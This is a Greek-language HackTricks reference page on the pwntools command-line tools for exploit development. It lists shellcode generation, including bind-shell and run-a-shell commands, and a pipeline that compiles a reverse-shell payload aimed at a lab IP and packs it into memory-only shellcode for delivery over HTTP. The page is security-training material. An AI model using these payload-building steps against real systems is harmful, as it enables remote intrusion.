PwnTools

Reading time: 4 minutes

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks
pip3 install pwntools

Pwn asm

Λήψη opcodes από γραμμή ή αρχείο.

pwn asm "jmp esp"
pwn asm -i <filepath>

Μπορείτε να επιλέξετε:

  • τύπος εξόδου (raw,hex,string,elf)
  • πλαίσιο αρχείου εξόδου (16,32,64,linux,windows...)
  • αποφυγή bytes (new lines, null, a list)
  • επιλέξτε encoder/debug shellcode — χρησιμοποιήστε gdb για να τρέξετε την έξοδο

Pwn checksec

Σενάριο Checksec

pwn checksec <executable>

Pwn constgrep

Pwn cyclic

Πάρε ένα μοτίβο

pwn cyclic 3000
pwn cyclic -l faad

Μπορεί να επιλέξει:

  • Το χρησιμοποιούμενο αλφάβητο (πεζά χαρακτήρες από προεπιλογή)
  • Μήκος του μοναδικού μοτίβου (προεπιλογή 4)
  • context (16,32,64,linux,windows...)
  • Λήψη του offset (-l)

Pwn debug

Επισυνάψτε το GDB σε μια διεργασία

pwn debug --exec /bin/bash
pwn debug --pid 1234
pwn debug --process bash

Μπορεί να επιλέξει:

  • Κατά εκτελέσιμο, κατά όνομα ή κατά pid context (16,32,64,linux,windows...)
  • gdbscript για εκτέλεση
  • sysrootpath

Pwn disablenx

Απενεργοποιεί το nx ενός binary

pwn disablenx <filepath>

Pwn disasm

Αποσυναρμολόγηση hex opcodes

pwn disasm ffe4

Μπορεί να επιλέξει:

  • context (16,32,64,linux,windows...)
  • base addres
  • color(default)/no color

Pwn elfdiff

Εκτυπώνει τις διαφορές μεταξύ 2 αρχείων

pwn elfdiff <file1> <file2>

Pwn hex

Λάβετε δεκαεξαδική αναπαράσταση

bash
pwn hex hola #Get hex of "hola" ascii

Pwn phd

Λάβετε hexdump

pwn phd <file>

Μπορεί να επιλέξει:

  • Αριθμός bytes προς εμφάνιση
  • Αριθμός bytes ανά γραμμή (highlight byte)
  • Παράλειψη bytes στην αρχή

Pwn pwnstrip

Pwn scrable

Pwn shellcraft

Λάβετε shellcodes

pwn shellcraft -l #List shellcodes
pwn shellcraft -l amd #Shellcode with amd in the name
pwn shellcraft -f hex amd64.linux.sh #Create in C and run
pwn shellcraft -r amd64.linux.sh #Run to test. Get shell
pwn shellcraft .r amd64.linux.bindsh 9095 #Bind SH to port

Μπορεί να επιλέξει:

  • shellcode και παραμέτρους για το shellcode
  • Αρχείο εξόδου
  • μορφή εξόδου
  • debug (attach dbg to shellcode)
  • πριν (debug trap πριν από το code)
  • μετά
  • αποφύγετε τη χρήση opcodes (προεπιλογή: όχι null και new line)
  • Εκτέλεση του shellcode
  • Χρώμα/χωρίς χρώμα
  • λίστα syscalls
  • λίστα πιθανών shellcodes
  • Δημιουργία ELF ως shared library

Pwn template

Λάβετε ένα python template

pwn template

Μπορεί να επιλέξει: host, port, user, pass, path και quiet

Pwn unhex

Από hex σε string

pwn unhex 686f6c61

Ενημέρωση Pwn

Για να ενημερώσετε το pwntools

pwn update

ELF → raw shellcode πακετάρισμα (loader_append)

Το Pwntools μπορεί να μετατρέψει ένα standalone ELF σε ένα ενιαίο raw shellcode blob που self‑maps τα segments του και μεταφέρει την εκτέλεση στο αρχικό entrypoint. Αυτό είναι ιδανικό για memory‑only loaders (π.χ., Android apps που καλούν JNI για να εκτελέσουν τα κατεβασμένα bytes).

Τυπικό pipeline (amd64 example)

  1. Κατασκευάστε ένα static, position‑independent payload ELF (musl recommended for portability):
bash
musl-gcc -O3 -s -static -o exploit exploit.c \
-DREV_SHELL_IP="\"10.10.14.2\"" -DREV_SHELL_PORT="\"4444\""
  1. Μετατρέψτε ELF → shellcode με pwntools:
python
# exp2sc.py
from pwn import *
context.clear(arch='amd64')
elf = ELF('./exploit')
sc = asm(shellcraft.loader_append(elf.data, arch='amd64'))
open('sc','wb').write(sc)
print(f"ELF size={len(elf.data)} bytes, shellcode size={len(sc)} bytes")
  1. Παραδώστε το sc σε έναν memory loader (π.χ. μέσω HTTP[S]) και εκτελέστε in‑process.

Σημειώσεις

  • loader_append ενσωματώνει το αρχικό πρόγραμμα ELF μέσα στο shellcode και παράγει έναν μικρό loader που mmaps τα segments και μεταβαίνει στο σημείο εισόδου.
  • Να είστε σαφείς ως προς την αρχιτεκτονική μέσω του context.clear(arch=...). arm64 είναι κοινό σε Android.
  • Κρατήστε τον κώδικα του payload ανεξάρτητο ως προς τη θέση και αποφύγετε υποθέσεις σχετικά με το ASLR/NX της διεργασίας.

Αναφορές

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks